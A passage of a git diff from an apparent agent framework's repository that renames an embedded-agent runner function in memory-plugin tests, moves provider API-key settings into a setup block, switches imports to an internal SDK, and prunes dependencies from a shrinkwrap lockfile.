AbortSignal }) => { await writeTranscriptJsonl(params.sessionFile, [ { @@ -3093,7 +3093,7 @@ describe("active-memory plugin", () => { sessionId: "s-terminal-zero-hit-with-results", updatedAt: 0, }; - runEmbeddedPiAgent.mockImplementationOnce(async (params: { sessionFile: string }) => { + runEmbeddedAgent.mockImplementationOnce(async (params: { sessionFile: string }) => { await writeTranscriptJsonl(params.sessionFile, [ { message: { @@ -3134,7 +3134,7 @@ describe("active-memory plugin", () => { plugin.register(api as unknown as OpenClawPluginApi); const sessionKey = "agent:main:terminal-unavailable"; hoisted.sessionStore[sessionKey] = { sessionId: "s-terminal-unavailable", updatedAt: 0 }; - runEmbeddedPiAgent.mockImplementationOnce( + runEmbeddedAgent.mockImplementationOnce( async (params: { sessionFile: string; abortSignal?: AbortSignal }) => { await writeTranscriptJsonl(params.sessionFile, [ { @@ -3186,7 +3186,7 @@ describe("active-memory plugin", () => { sessionId: "s-memory-get-miss", updatedAt: 0, }; - runEmbeddedPiAgent.mockImplementationOnce(async (params: { sessionFile: string }) => { + runEmbeddedAgent.mockImplementationOnce(async (params: { sessionFile: string }) => { await writeTranscriptJsonl(params.sessionFile, [ { message: { @@ -3382,7 +3382,7 @@ describe("active-memory plugin", () => { }, ); - expect(runEmbeddedPiAgent).toHaveBeenCalledTimes(1); + expect(runEmbeddedAgent).toHaveBeenCalledTimes(1); expect(lastEmbeddedSessionKey()).toMatch( /^agent:main:telegram:direct:12345:active-memory:[a-f0-9]{12}$/, ); @@ -3398,7 +3398,7 @@ describe("active-memory plugin", () => { sessionId: "s-rate-limit", updatedAt: 0, }; - runEmbeddedPiAgent.mockImplementationOnce(async () => { + runEmbeddedAgent.mockImplementationOnce(async () => { return { meta: { activeMemorySearchDebug: { @@ -3835,7 +3835,7 @@ describe("active-memory plugin", () => { }); it("trusts the subagent's relevance decision for explicit preference recall prompts", async () => { - runEmbeddedPiAgent.mockResolvedValueOnce({ + runEmbeddedAgent.mockResolvedValueOnce({ payloads: [{ text: "User prefers aisle seats and extra buffer on connections." }], }); @@ -3860,7 +3860,7 @@ describe("active-memory plugin", () => { maxSummaryChars: 40, }; plugin.register(api as unknown as OpenClawPluginApi); - runEmbeddedPiAgent.mockResolvedValueOnce({ + runEmbeddedAgent.mockResolvedValueOnce({ payloads: [ { text: "alpha beta gamma delta epsilon zetalongword", @@ -4053,7 +4053,7 @@ describe("active-memory plugin", () => { sessionId: "s-main", updatedAt: 0, }; - runEmbeddedPiAgent.mockResolvedValueOnce({ + runEmbeddedAgent.mockResolvedValueOnce({ payloads: [{ text: "- spicy ramen\u001b[31m\n- fries\r\n- blue cheese\t" }], }); @@ -4128,7 +4128,7 @@ describe("active-memory plugin", () => { circuitBreakerCooldownMs: 60_000, }; plugin.register(api as unknown as OpenClawPluginApi); - runEmbeddedPiAgent.mockImplementation( + runEmbeddedAgent.mockImplementation( async (params: { abortSignal?: AbortSignal }) => await waitForAbort(params.abortSignal), ); @@ -4151,7 +4151,7 @@ describe("active-memory plugin", () => { messageProvider: "webchat", }, ); - expect(runEmbeddedPiAgent).toHaveBeenCalledTimes(2); + expect(runEmbeddedAgent).toHaveBeenCalledTimes(2); // Third call should be skipped by the circuit breaker. await hooks.before_prompt_build( @@ -4164,7 +4164,7 @@ describe("active-memory plugin", () => { }, ); // The subagent should NOT have been called a third time. - expect(runEmbeddedPiAgent).toHaveBeenCalledTimes(2); + expect(runEmbeddedAgent).toHaveBeenCalledTimes(2); const infoLines = vi .mocked(api.logger.info) @@ -4186,7 +4186,7 @@ describe("active-memory plugin", () => { plugin.register(api as unknown as OpenClawPluginApi); // First call: timeout (trips the breaker with max=1). - runEmbeddedPiAgent.mockImplementationOnce( + runEmbeddedAgent.mockImplementationOnce( async (params: { abortSignal?: AbortSignal }) => await waitForAbort(params.abortSignal), ); await hooks.before_prompt_build( @@ -4198,7 +4198,7 @@ describe("active-memory plugin", () => { messageProvider: "webchat", }, ); - expect(runEmbeddedPiAgent).toHaveBeenCalledTimes(1); + expect(runEmbeddedAgent).toHaveBeenCalledTimes(1); // Second call should be skipped by circuit breaker. await hooks.before_prompt_build( @@ -4210,7 +4210,7 @@ describe("active-memory plugin", () => { messageProvider: "webchat", }, ); - expect(runEmbeddedPiAgent).toHaveBeenCalledTimes(1); + expect(runEmbeddedAgent).toHaveBeenCalledTimes(1); // Simulate cooldown expiry by manipulating the circuit breaker entry. const cbKey = testing.buildCircuitBreakerKey("main", "github-copilot", "gpt-5.4-mini"); @@ -4220,7 +4220,7 @@ describe("active-memory plugin", () => { } // Third call should go through (cooldown expired) and succeed. - runEmbeddedPiAgent.mockImplementationOnce(async () => ({ + runEmbeddedAgent.mockImplementationOnce(async () => ({ payloads: [{ text: "- lemon pepper wings" }], })); await hooks.before_prompt_build( @@ -4232,10 +4232,10 @@ describe("active-memory plugin", () => { messageProvider: "webchat", }, ); - expect(runEmbeddedPiAgent).toHaveBeenCalledTimes(2); + expect(runEmbeddedAgent).toHaveBeenCalledTimes(2); // Fourth call should also go through since the breaker was reset on success. - runEmbeddedPiAgent.mockImplementationOnce(async () => ({ + runEmbeddedAgent.mockImplementationOnce(async () => ({ payloads: [{ text: "- buffalo wings" }], })); await hooks.before_prompt_build( @@ -4247,7 +4247,7 @@ describe("active-memory plugin", () => { messageProvider: "webchat", }, ); - expect(runEmbeddedPiAgent).toHaveBeenCalledTimes(3); + expect(runEmbeddedAgent).toHaveBeenCalledTimes(3); }); it("normalizes circuit breaker config with defaults", () => { diff --git a/extensions/active-memory/index.ts b/extensions/active-memory/index.ts index 197568e54f8..c5a1774cc09 100644 --- a/extensions/active-memory/index.ts +++ b/extensions/active-memory/index.ts @@ -2526,7 +2526,7 @@ async function runRecallSubagent(params: { try { const embeddedConfig = applyActiveMemoryRuntimeConfigSnapshot(params.api.config, params.config); const embeddedTimeoutMs = params.config.timeoutMs + params.config.setupGraceTimeoutMs; - const result = await params.api.runtime.agent.runEmbeddedPiAgent({ + const result = await params.api.runtime.agent.runEmbeddedAgent({ sessionId: subagentSessionId, sessionKey: subagentSessionKey, agentId: params.agentId, diff --git a/extensions/alibaba/openclaw.plugin.json b/extensions/alibaba/openclaw.plugin.json index 2c7d6d3dda4..ace13cee4a8 100644 --- a/extensions/alibaba/openclaw.plugin.json +++ b/extensions/alibaba/openclaw.plugin.json @@ -4,8 +4,13 @@ "onStartup": false }, "enabledByDefault": true, - "providerAuthEnvVars": { - "alibaba": ["MODELSTUDIO_API_KEY", "DASHSCOPE_API_KEY", "QWEN_API_KEY"] + "setup": { + "providers": [ + { + "id": "alibaba", + "envVars": ["MODELSTUDIO_API_KEY", "DASHSCOPE_API_KEY", "QWEN_API_KEY"] + } + ] }, "providerAuthChoices": [ { diff --git a/extensions/amazon-bedrock-mantle/mantle-anthropic.runtime.test.ts b/extensions/amazon-bedrock-mantle/mantle-anthropic.runtime.test.ts index 2d56428ef7b..530e91d855b 100644 --- a/extensions/amazon-bedrock-mantle/mantle-anthropic.runtime.test.ts +++ b/extensions/amazon-bedrock-mantle/mantle-anthropic.runtime.test.ts @@ -1,11 +1,11 @@ -import type { Api, Model } from "@earendil-works/pi-ai"; +import type { Api, Model } from "openclaw/plugin-sdk/llm"; import { describe, expect, it, vi } from "vitest"; import { createMantleAnthropicStreamFn, resolveMantleAnthropicBaseUrl, } from "./mantle-anthropic.runtime.js"; -function createTestModel(): Model { +function createTestModel(): Model { return { id: "anthropic.claude-opus-4-7", name: "Claude Opus 4.7", @@ -20,7 +20,7 @@ function createTestModel(): Model { cost: { input: 5, output: 25, cacheRead: 0.5, cacheWrite: 6.25 }, contextWindow: 1_000_000, maxTokens: 128_000, - } as Model; + } as Model; } function createTestDeps() { @@ -47,7 +47,7 @@ function mockCallArg(mock: { mock: { calls: unknown[][] } }, index = 0, argIndex function expectFirstStreamCall( deps: ReturnType, - model: Model, + model: Model, context: unknown, ) { expect(mockCallArg(deps.stream, 0, 0)).toBe(model); diff --git a/extensions/amazon-bedrock-mantle/mantle-anthropic.runtime.ts b/extensions/amazon-bedrock-mantle/mantle-anthropic.runtime.ts index fc399487496..6766fc8a3de 100644 --- a/extensions/amazon-bedrock-mantle/mantle-anthropic.runtime.ts +++ b/extensions/amazon-bedrock-mantle/mantle-anthropic.runtime.ts @@ -1,12 +1,11 @@ import Anthropic from "@anthropic-ai/sdk"; -import type { StreamFn } from "@earendil-works/pi-agent-core"; -import type { Api, Model, SimpleStreamOptions } from "@earendil-works/pi-ai"; -import { streamAnthropic } from "@earendil-works/pi-ai/anthropic"; +import type { StreamFn } from "openclaw/plugin-sdk/agent-core"; +import { stream, type Model, type SimpleStreamOptions } from "openclaw/plugin-sdk/llm"; const MANTLE_ANTHROPIC_BETA = "fine-grained-tool-streaming-2025-05-14"; type AnthropicOptions = ConstructorParameters[0]; -type AnthropicStreamOptions = NonNullable[2]>; -type AnthropicStreamClient = NonNullable; +type MantleAnthropicStream = typeof stream; +type AnthropicStreamClient = Anthropic; export function resolveMantleAnthropicBaseUrl(baseUrl: string): string { const trimmed = baseUrl.replace(/\/+$/, ""); @@ -36,7 +35,7 @@ function mergeHeaders( } function buildMantleAnthropicBaseOptions( - model: Model, + model: Model, options: SimpleStreamOptions | undefined, apiKey: string, ) { @@ -78,12 +77,12 @@ function adjustMaxTokensForThinking( export function createMantleAnthropicStreamFn(deps?: { createClient?: (options: AnthropicOptions) => Anthropic; - stream?: typeof streamAnthropic; + stream?: MantleAnthropicStream; }): StreamFn { return (model, context, options) => { const apiKey = options?.apiKey ?? ""; const createClient = deps?.createClient ?? ((clientOptions) => new Anthropic(clientOptions)); - const stream = deps?.stream ?? streamAnthropic; + const streamFn = deps?.stream ?? stream; const client = createClient({ apiKey: null, authToken: apiKey, @@ -104,7 +103,7 @@ export function createMantleAnthropicStreamFn(deps?: { // The client API is the same, but the SDK class private field makes types nominal. const streamClient = client as unknown as AnthropicStreamClient; if (!options?.reasoning || requiresDefaultSampling(model.id)) { - return stream(model as Model<"anthropic-messages">, context, { + return streamFn(model as Model<"anthropic-messages">, context, { ...base, client: streamClient, thinkingEnabled: false, @@ -117,7 +116,7 @@ export function createMantleAnthropicStreamFn(deps?: { options.reasoning, options.thinkingBudgets, ); - return stream(model as Model<"anthropic-messages">, context, { + return streamFn(model as Model<"anthropic-messages">, context, { ...base, client: streamClient, maxTokens: adjusted.maxTokens, diff --git a/extensions/amazon-bedrock-mantle/npm-shrinkwrap.json b/extensions/amazon-bedrock-mantle/npm-shrinkwrap.json index acbe0ddb1f1..b42ad8e4155 100644 --- a/extensions/amazon-bedrock-mantle/npm-shrinkwrap.json +++ b/extensions/amazon-bedrock-mantle/npm-shrinkwrap.json @@ -9,8 +9,7 @@ "version": "2026.5.27", "dependencies": { "@anthropic-ai/sdk": "0.98.0", - "@aws/bedrock-token-generator": "1.1.0", - "@earendil-works/pi-ai": "0.75.5" + "@aws/bedrock-token-generator": "1.1.0" } }, "node_modules/@anthropic-ai/sdk": { @@ -97,31 +96,6 @@ "tslib": "^2.6.2" } }, - "node_modules/@aws-sdk/client-bedrock-runtime": { - "version": "3.1053.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/client-bedrock-runtime/-/client-bedrock-runtime-3.1053.0.tgz", - "integrity": "sha512-I5dua8y1logE+Mx6r5kvI1tjM+XyC3H42KDCpEqmhrJfanor/x/AdOavyv3HnS4sBqUxx2IrjLP3ouEumjeTzA==", - "license": "Apache-2.0", - "dependencies": { - "@aws-crypto/sha256-browser": "5.2.0", - "@aws-crypto/sha256-js": "5.2.0", - "@aws-sdk/core": "^3.974.13", - "@aws-sdk/credential-provider-node": "^3.972.44", - "@aws-sdk/eventstream-handler-node": "^3.972.17", - "@aws-sdk/middleware-eventstream": "^3.972.13", - "@aws-sdk/middleware-websocket": "^3.972.21", - "@aws-sdk/token-providers": "3.1053.0", - "@aws-sdk/types": "^3.973.9", - "@smithy/core": "^3.24.3", - "@smithy/fetch-http-handler": "^5.4.3", - "@smithy/node-http-handler": "^4.7.3", - "@smithy/types": "^4.14.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, "node_modules/@aws-sdk/client-cognito-identity": { "version": "3.1051.0", "resolved": "https://registry.npmjs.org/@aws-sdk/client-cognito-identity/-/client-cognito-identity-3.1051.0.tgz", @@ -354,54 +328,6 @@ "node": ">=20.0.0" } }, - "node_modules/@aws-sdk/eventstream-handler-node": { - "version": "3.972.17", - "resolved": "https://registry.npmjs.org/@aws-sdk/eventstream-handler-node/-/eventstream-handler-node-3.972.17.tgz", - "integrity": "sha512-WFwdNcjchKZr7jKYgGimUZO8sSKQF/le7GGqgeCzz/lHozInE6b0gFJ1YMr8NaIeAoWJwgtrF7RE4/qMgosAdQ==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/types": "^3.973.9", - "@smithy/core": "^3.24.3", - "@smithy/types": "^4.14.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/middleware-eventstream": { - "version": "3.972.13", - "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-eventstream/-/middleware-eventstream-3.972.13.tgz", - "integrity": "sha512-ECfsw7mf6G/sxNbKbGE3/h1xeIArY/yRI1IjDGYkLgDIankh+aDOtDRSr40LVlIHGL9+jEH1cVuxmbJ8NLL/1A==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/types": "^3.973.9", - "@smithy/core": "^3.24.3", - "@smithy/types": "^4.14.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=20.0.0" - } - }, - "node_modules/@aws-sdk/middleware-websocket": { - "version": "3.972.21", - "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-websocket/-/middleware-websocket-3.972.21.tgz", - "integrity": "sha512-yr+5+C7v9R55sAJ89A55Wrm7wIKPVn5cm6J3Hztnd5s/iwEUKxyJqCnIxJu4fVXgG9XBQD1Jc4rsWC1ozahJjA==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/core": "^3.974.13", - "@aws-sdk/types": "^3.973.9", - "@smithy/core": "^3.24.3", - "@smithy/fetch-http-handler": "^5.4.3", - "@smithy/signature-v4": "^5.4.2", - "@smithy/types": "^4.14.2", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">= 14.0.0" - } - }, "node_modules/@aws-sdk/nested-clients": { "version": "3.997.11", "resolved": "https://registry.npmjs.org/@aws-sdk/nested-clients/-/nested-clients-3.997.11.tgz", @@ -440,9 +366,9 @@ } }, "node_modules/@aws-sdk/token-providers": { - "version": "3.1053.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/token-providers/-/token-providers-3.1053.0.tgz", - "integrity": "sha512-laSwHLYMMrXQRl2mFDXszF43m/F4pKWyGr7hCLfJmV8rn8c6CnI/hp/bf/Gn7gLcjz0SY4evd7SBpqtnIhzA/A==", + "version": "3.1052.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/token-providers/-/token-providers-3.1052.0.tgz", + "integrity": "sha512-QqZNB3so7UIDxZtroc85TQaLVxdZRFm0eWM1CSR2N+b06as9TOrilvrlTZuj3guYlxMs6yLOgGxnklJ5qMYtTw==", "license": "Apache-2.0", "dependencies": { "@aws-sdk/core": "^3.974.13", @@ -547,65 +473,6 @@ "node": ">=6.9.0" } }, - "node_modules/@earendil-works/pi-ai": { - "version": "0.75.5", - "resolved": "https://registry.npmjs.org/@earendil-works/pi-ai/-/pi-ai-0.75.5.tgz", - "integrity": "sha512-zf1F5kXk1pqZeFShXOqq9ibUk8QdtRoLCDPAjO+hj44e3EUs9/GFO2qnhTC5+JA2uwVCx+WCNe1PiCjlBYWm5w==", - "license": "MIT", - "dependencies": { - "@anthropic-ai/sdk": "0.91.1", - "@aws-sdk/client-bedrock-runtime": "3.1048.0", - "@google/genai": "1.52.0", - "@mistralai/mistralai": "2.2.1", - "@smithy/node-http-handler": "4.7.3", - "http-proxy-agent": "7.0.2", - "https-proxy-agent": "7.0.6", - "openai": "6.26.0", - "partial-json": "0.1.7", - "typebox": "1.1.38" - }, - "bin": { - "pi-ai": "dist/cli.js" - }, - "engines": { - "node": ">=22.19.0" - } - }, - "node_modules/@google/genai": { - "version": "1.52.0", - "resolved": "https://registry.npmjs.org/@google/genai/-/genai-1.52.0.tgz", - "integrity": "sha512-gwSvbpiN/17O9TbsqSsE/OzZcpv5Fo4RQjdngGgogtuB9RsyJ8ZHhX5KjHj1bp5N9snN2eK8LDGXSaWW2hof8Q==", - "hasInstallScript": true, - "license": "Apache-2.0", - "dependencies": { - "google-auth-library": "^10.3.0", - "p-retry": "^4.6.2", - "protobufjs": "^7.5.4", - "ws": "^8.18.0" - }, - "engines": { - "node": ">=20.0.0" - }, - "peerDependencies": { - "@modelcontextprotocol/sdk": "^1.25.2" - }, - "peerDependenciesMeta": { - "@modelcontextprotocol/sdk": { - "optional": true - } - } - }, - "node_modules/@mistralai/mistralai": { - "version": "2.2.1", - "resolved": "https://registry.npmjs.org/@mistralai/mistralai/-/mistralai-2.2.1.tgz", - "integrity": "sha512-uKU8CZmL2RzYKmplsU01hii4p3pe4HqJefpWNRWXm1Tcm0Sm4xXfwSLIy4k7ZCPlbETCGcp69E7hZs+WOJ5itQ==", - "license": "Apache-2.0", - "dependencies": { - "ws": "^8.18.0", - "zod": "^3.25.0 || ^4.0.0", - "zod-to-json-schema": "^3.25.0" - } - }, "node_modules/@nodable/entities": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/@nodable/entities/-/entities-2.1.0.tgz", @@ -725,12 +592,12 @@ } }, "node_modules/@smithy/node-http-handler": { - "version": "4.7.4", - "resolved": "https://registry.npmjs.org/@smithy/node-http-handler/-/node-http-handler-4.7.4.tgz", - "integrity": "sha512-HIeF+1vrDGzPkkv39Hj2vlHSXHY3p958jd/8ZnePIY6+ZOsQX8coyEUKO5yQu4r0bQIVsbpotVIrXXwyycMStQ==", + "version": "4.7.3", + "resolved": "https://registry.npmjs.org/@smithy/node-http-handler/-/node-http-handler-4.7.3.tgz", + "integrity": "sha512-/jPhevcTFPMVl6KNjbaI47iOg1zxC7IsnX4PQDGVZKMFceOXtB8IEYaB7a9VvkP/3oC60WzTeKocvSI7vLT0vA==", "license": "Apache-2.0", "dependencies": { - "@smithy/core": "^3.24.4", + "@smithy/core": "^3.24.3", "@smithy/types": "^4.14.2", "tslib": "^2.6.2" }, @@ -809,103 +676,12 @@ "integrity": "sha512-1bnPQqSxSuc3Ii6MhBysoWCg58j97aUjuCSZrGSmDxNqtytIi0k8utUenAwTZN4V5mXXYGsVUI9zeBqy+jBOSQ==", "license": "MIT" }, - "node_modules/@types/retry": { - "version": "0.12.0", - "resolved": "https://registry.npmjs.org/@types/retry/-/retry-0.12.0.tgz", - "integrity": "sha512-wWKOClTTiizcZhXnPY4wikVAwmdYHp8q6DmC+EJUzAMsycb7HB32Kh9RN4+0gExjmPmZSAQjgURXIGATPegAvA==", - "license": "MIT" - }, - "node_modules/agent-base": { - "version": "7.1.4", - "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-7.1.4.tgz", - "integrity": "sha512-MnA+YT8fwfJPgBx3m60MNqakm30XOkyIoH1y6huTQvC0PwZG7ki8NacLBcrPbNoo8vEZy7Jpuk7+jMO+CUovTQ==", - "license": "MIT", - "engines": { - "node": ">= 14" - } - }, - "node_modules/base64-js": { - "version": "1.5.1", - "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz", - "integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/feross" - }, - { - "type": "patreon", - "url": "https://www.patreon.com/feross" - }, - { - "type": "consulting", - "url": "https://feross.org/support" - } - ], - "license": "MIT" - }, - "node_modules/bignumber.js": { - "version": "9.3.1", - "resolved": "https://registry.npmjs.org/bignumber.js/-/bignumber.js-9.3.1.tgz", - "integrity": "sha512-Ko0uX15oIUS7wJ3Rb30Fs6SkVbLmPBAKdlm7q9+ak9bbIeFf0MwuBsQV6z7+X768/cHsfg+WlysDWJcmthjsjQ==", - "license": "MIT", - "engines": { - "node": "*" - } - }, "node_modules/bowser": { "version": "2.14.1", "resolved": "https://registry.npmjs.org/bowser/-/bowser-2.14.1.tgz", "integrity": "sha512-tzPjzCxygAKWFOJP011oxFHs57HzIhOEracIgAePE4pqB3LikALKnSzUyU4MGs9/iCEUuHlAJTjTc5M+u7YEGg==", "license": "MIT" }, - "node_modules/buffer-equal-constant-time": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/buffer-equal-constant-time/-/buffer-equal-constant-time-1.0.1.tgz", - "integrity": "sha512-zRpUiDwd/xk6ADqPMATG8vc9VPrkck7T07OIx0gnjmJAnHnTVXNQG3vfvWNuiZIkwu9KrKdA1iJKfsfTVxE6NA==", - "license": "BSD-3-Clause" - }, - "node_modules/data-uri-to-buffer": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/data-uri-to-buffer/-/data-uri-to-buffer-4.0.1.tgz", - "integrity": "sha512-0R9ikRb668HB7QDxT1vkpuUBtqc53YyAwMwGeUFKRojY/NWKvdZ+9UYtRfGmhqNbRkTSVpMbmyhXipFFv2cb/A==", - "license": "MIT", - "engines": { - "node": ">= 12" - } - }, - "node_modules/debug": { - "version": "4.4.3", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz", - "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==", - "license": "MIT", - "dependencies": { - "ms": "^2.1.3" - }, - "engines": { - "node": ">=6.0" - }, - "peerDependenciesMeta": { - "supports-color": { - "optional": true - } - } - }, - "node_modules/ecdsa-sig-formatter": { - "version": "1.0.11", - "resolved": "https://registry.npmjs.org/ecdsa-sig-formatter/-/ecdsa-sig-formatter-1.0.11.tgz", - "integrity": "sha512-nagl3RYrbNv6kQkeJIpt6NJZy8twLB/2vtz6yN9Z4vRKHN4/QZJIEbqohALSgwKdnksuY3k5Addp5lg8sVoVcQ==", - "license": "Apache-2.0", - "dependencies": { - "safe-buffer": "^5.0.1" - } - }, - "node_modules/extend": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz", - "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==", - "license": "MIT" - }, "node_modules/fast-sha256": { "version": "1.3.0", "resolved": "https://registry.npmjs.org/fast-sha256/-/fast-sha256-1.3.0.tgz", @@ -949,130 +725,6 @@ "fxparser": "src/cli/cli.js" } }, - "node_modules/fetch-blob": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/fetch-blob/-/fetch-blob-3.2.0.tgz", - "integrity": "sha512-7yAQpD2UMJzLi1Dqv7qFYnPbaPx7ZfFK6PiIxQ4PfkGPyNyl2Ugx+a/umUonmKqjhM4DnfbMvdX6otXq83soQQ==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/jimmywarting" - }, - { - "type": "paypal", - "url": "https://paypal.me/jimmywarting" - } - ], - "license": "MIT", - "dependencies": { - "node-domexception": "^1.0.0", - "web-streams-polyfill": "^3.0.3" - }, - "engines": { - "node": "^12.20 || >= 14.13" - } - }, - "node_modules/formdata-polyfill": { - "version": "4.0.10", - "resolved": "https://registry.npmjs.org/formdata-polyfill/-/formdata-polyfill-4.0.10.tgz", - "integrity": "sha512-buewHzMvYL29jdeQTVILecSaZKnt/RJWjoZCF5OW60Z67/GmSLBkOFM7qh1PI3zFNtJbaZL5eQu1vLfazOwj4g==", - "license": "MIT", - "dependencies": { - "fetch-blob": "^3.1.2" - }, - "engines": { - "node": ">=12.20.0" - } - }, - "node_modules/gaxios": { - "version": "7.1.4", - "resolved": "https://registry.npmjs.org/gaxios/-/gaxios-7.1.4.tgz", - "integrity": "sha512-bTIgTsM2bWn3XklZISBTQX7ZSddGW+IO3bMdGaemHZ3tbqExMENHLx6kKZ/KlejgrMtj8q7wBItt51yegqalrA==", - "license": "Apache-2.0", - "dependencies": { - "extend": "^3.0.2", - "https-proxy-agent": "^7.0.1", - "node-fetch": "^3.3.2" - }, - "engines": { - "node": ">=18" - } - }, - "node_modules/gcp-metadata": { - "version": "8.1.2", - "resolved": "https://registry.npmjs.org/gcp-metadata/-/gcp-metadata-8.1.2.tgz", - "integrity": "sha512-zV/5HKTfCeKWnxG0Dmrw51hEWFGfcF2xiXqcA3+J90WDuP0SvoiSO5ORvcBsifmx/FoIjgQN3oNOGaQ5PhLFkg==", - "license": "Apache-2.0", - "dependencies": { - "gaxios": "^7.0.0", - "google-logging-utils": "^1.0.0", - "json-bigint": "^1.0.0" - }, - "engines": { - "node": ">=18" - } - }, - "node_modules/google-auth-library": { - "version": "10.6.2", - "resolved": "https://registry.npmjs.org/google-auth-library/-/google-auth-library-10.6.2.tgz", - "integrity": "sha512-e27Z6EThmVNNvtYASwQxose/G57rkRuaRbQyxM2bvYLLX/GqWZ5chWq2EBoUchJbCc57eC9ArzO5wMsEmWftCw==", - "license": "Apache-2.0", - "dependencies": { - "base64-js": "^1.3.0", - "ecdsa-sig-formatter": "^1.0.11", - "gaxios": "^7.1.4", - "gcp-metadata": "8.1.2", - "google-logging-utils": "1.1.3", - "jws": "^4.0.0" - }, - "engines": { - "node": ">=18" - } - }, - "node_modules/google-logging-utils": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/google-logging-utils/-/google-logging-utils-1.1.3.tgz", - "integrity": "sha512-eAmLkjDjAFCVXg7A1unxHsLf961m6y17QFqXqAXGj/gVkKFrEICfStRfwUlGNfeCEjNRa32JEWOUTlYXPyyKvA==", - "license": "Apache-2.0", - "engines": { - "node": ">=14" - } - }, - "node_modules/http-proxy-agent": { - "version": "7.0.2", - "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-7.0.2.tgz", - "integrity": "sha512-T1gkAiYYDWYx3V5Bmyu7HcfcvL7mUrTWiM6yOfa3PIphViJ/gFPbvidQ+veqSOHci/PxBcDabeUNCzpOODJZig==", - "license": "MIT", - "dependencies": { - "agent-base": "^7.1.0", - "debug": "^4.3.4" - }, - "engines": { - "node": ">= 14" - } - }, - "node_modules/https-proxy-agent": { - "version": "7.0.6", - "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-7.0.6.tgz", - "integrity": "sha512-vK9P5/iUfdl95AI+JVyUuIcVtd4ofvtrOr3HNtM2yxC9bnMbEdp3x01OhQNnjb8IJYi38VlTE3mBXwcfvywuSw==", - "license": "MIT", - "dependencies": { - "agent-base": "^7.1.2", - "debug": "4" - }, - "engines": { - "node": ">= 14" - } - }, - "node_modules/json-bigint": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/json-bigint/-/json-bigint-1.0.0.tgz", - "integrity": "sha512-SiPv/8VpZuWbvLSMtTDU8hEfrZWg/mH/nV/b4o0CYbSxu1UIQPLdwKOCIyLQX+VIPO5vrLX3i8qtqFyhdPSUSQ==", - "license": "MIT", - "dependencies": { - "bignumber.js": "^9.0.0" - } - }, "node_modules/json-schema-to-ts": { "version": "3.1.1", "resolved": "https://registry.npmjs.org/json-schema-to-ts/-/json-schema-to-ts-3.1.1.tgz", @@ -1086,107 +738,6 @@ "node": ">=16" } }, - "node_modules/jwa": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/jwa/-/jwa-2.0.1.tgz", - "integrity": "sha512-hRF04fqJIP8Abbkq5NKGN0Bbr3JxlQ+qhZufXVr0DvujKy93ZCbXZMHDL4EOtodSbCWxOqR8MS1tXA5hwqCXDg==", - "license": "MIT", - "dependencies": { - "buffer-equal-constant-time": "^1.0.1", - "ecdsa-sig-formatter": "1.0.11", - "safe-buffer": "^5.0.1" - } - }, - "node_modules/jws": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/jws/-/jws-4.0.1.tgz", - "integrity": "sha512-EKI/M/yqPncGUUh44xz0PxSidXFr/+r0pA70+gIYhjv+et7yxM+s29Y+VGDkovRofQem0fs7Uvf4+YmAdyRduA==", - "license": "MIT", - "dependencies": { - "jwa": "^2.0.1", - "safe-buffer": "^5.0.1" - } - }, - "node_modules/long": { - "version": "5.3.2", - "resolved": "https://registry.npmjs.org/long/-/long-5.3.2.tgz", - "integrity": "sha512-mNAgZ1GmyNhD7AuqnTG3/VQ26o760+ZYBPKjPvugO8+nLbYfX6TVpJPseBvopbdY+qpZ/lKUnmEc1LeZYS3QAA==", - "license": "Apache-2.0" - }, - "node_modules/ms": { - "version": "2.1.3", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", - "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", - "license": "MIT" - }, - "node_modules/node-domexception": { - "name": "@nolyfill/domexception", - "version": "1.0.28", - "resolved": "https://registry.npmjs.org/@nolyfill/domexception/-/domexception-1.0.28.tgz", - "integrity": "sha512-tlc/FcYIv5i8RYsl2iDil4A0gOihaas1R5jPcIC4Zw3GhjKsVilw90aHcVlhZPTBLGBzd379S+VcnsDjd9ChiA==", - "license": "MIT", - "engines": { - "node": ">=12.4.0" - } - }, - "node_modules/node-fetch": { - "version": "3.3.2", - "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-3.3.2.tgz", - "integrity": 